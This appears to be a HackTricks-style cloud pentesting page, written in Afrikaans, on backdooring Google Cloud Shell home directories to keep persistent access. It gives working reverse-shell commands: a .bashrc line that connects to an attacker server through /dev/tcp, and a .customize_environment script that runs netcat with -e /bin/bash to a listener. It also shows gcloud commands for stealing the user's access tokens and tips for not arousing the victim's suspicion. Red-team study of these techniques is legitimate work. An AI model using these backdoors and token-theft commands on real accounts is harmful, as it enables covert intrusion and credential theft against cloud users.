# GCP - Cloud Shell Persistence

{{#include ../../../banners/hacktricks-training.md}}

## Cloud Shell

For more information check:

{{#ref}}
../gcp-services/gcp-cloud-shell-enum.md
{{#endref}}

### Persistent Backdoor

[**Google Cloud Shell**](https://cloud.google.com/shell/) voorsien jou van command-line toegang tot jou cloud resources direk vanaf jou blaaier sonder enige koste.

Jy kan toegang kry tot Google's Cloud Shell vanaf die **web console** of deur **`gcloud cloud-shell ssh`** te hardloop.

Hierdie konsole het 'n paar interessante vermoëns vir aanvallers:

1. **Enige Google gebruiker met toegang tot Google Cloud** het toegang tot 'n volledig geauthentiseerde Cloud Shell instance (Service Accounts kan ook, selfs wanneer hulle Owners van die org is).
2. Daardie instance sal **sy home directory vir minstens 120 dae behou** as geen aktiwiteit plaasvind nie.
3. Daar is **geen moontlikhede vir 'n organisasie om** die aktiwiteit van daardie instance te monitor nie.

Dit beteken basies dat 'n aanvaller 'n backdoor in die gebruiker se home directory kan plaas, en solank die gebruiker minstens elke 120 dae aan die GC Shell koppel, sal die backdoor oorleef en die aanvaller elke keer 'n shell kry as dit uitgevoer word net deur die volgende te doen:

<details>

<summary>Voeg reverse shell by .bashrc</summary>
```bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
```
</details>

Daar is nog 'n lêer in die tuismap genaamd **`.customize_environment`** wat, as dit bestaan, **elke keer uitgevoer** gaan word wanneer die gebruiker toegang tot die **cloud shell** kry (soos in die vorige tegniek). Voeg net die vorige backdoor in of een soos die volgende om persistence te behou solank die gebruiker die **cloud shell** "gereeld" gebruik:

<details>

<summary>Skep .customize_environment backdoor</summary>
```bash
#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash
```
</details>

> [!WARNING]
> Dit is belangrik om te let dat die **eerste keer 'n aksie wat verifikasie vereis, uitgevoer word**, 'n pop-up machtigingsvenster in die gebruiker se blaaier verskyn. Hierdie venster moet aanvaar word voordat die opdrag kan loop. As 'n onverwagte pop-up verskyn, kan dit agterdog wek en moontlik die gebruikte persistence-metode kompromitteer.

Dit is die pop-up wat verskyn wanneer `gcloud projects list` vanaf die Cloud Shell (as attacker) uitgevoer word, gesien in die gebruiker se blaaieressie:

<figure><img src="../../../images/image (10).png" alt=""><figcaption></figcaption></figure>

As die gebruiker reeds aktief die Cloud Shell gebruik het, sal die pop-up nie verskyn nie en jy kan **tokens van die gebruiker versamel met**:

<details>

<summary>Kry toegangstokens vanaf Cloud Shell</summary>
```bash
gcloud auth print-access-token
gcloud auth application-default print-access-token
```
</details>

#### Hoe die SSH-verbinding gevestig word

In die algemeen word hierdie 3 API-oproepe gebruik:

- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (laat jou jou public key wat jy plaaslik geskep het byvoeg)
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (laat jou die instance begin)
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (gee vir jou die IP van die Google Cloud Shell)

Maar jy kan verdere inligting vind by [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)

## Verwysings

- [https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec](https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec)
- [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
- [https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/](https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/)

{{#include ../../../banners/hacktricks-training.md}}
